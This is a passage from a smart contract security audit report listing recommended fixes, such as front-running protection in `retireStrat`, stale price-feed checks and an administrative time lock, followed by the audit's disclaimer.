- Consider modifying the `redeemStuckedPiTokens` function to grant a grace period after the reward minting period is over. The current implementation allows the contract owner to steal all rewards minted in last periods which have not been claimed.
- Improve test coverage and develop integration tests in a forked network configuration.
- Upgrade to the latest Solidity compiler version 0.8.9.

- Consider improving the current Chainlink integration by adding the ability to detect stalled price feeds by comparing the returned timestamp with the current block timestamp.
- Consider enforcing a minimum amount for the `_ratio` parameter in all `harvest` functions in order to prevent a mistake in the harvester role code from executing swaps at a loss.
- Add an minimum expected ratio to the `retireStrat` function in order to pass it to the harvest function and avoid the reward swap being front-runned when retiring a strategy. In this scenario, the funds accumulated being withdrawn and exposed to an attack can be significant.
- Consider adding a check for `leftTokensForFounders` to be above zero in the `depositToFounders` function in the `Distributor` contract.

Deferred

- Consider adding a time lock mechanism for non-emergency administrative changes to the protocol in order to give users time to react to those changes.

6. Disclaimer

The information presented in this document is provided "as is" and without warranty. The present security audit does not cover any off-chain systems or frontends that communicate with the contracts, nor the general operational security of the organization that developed the code.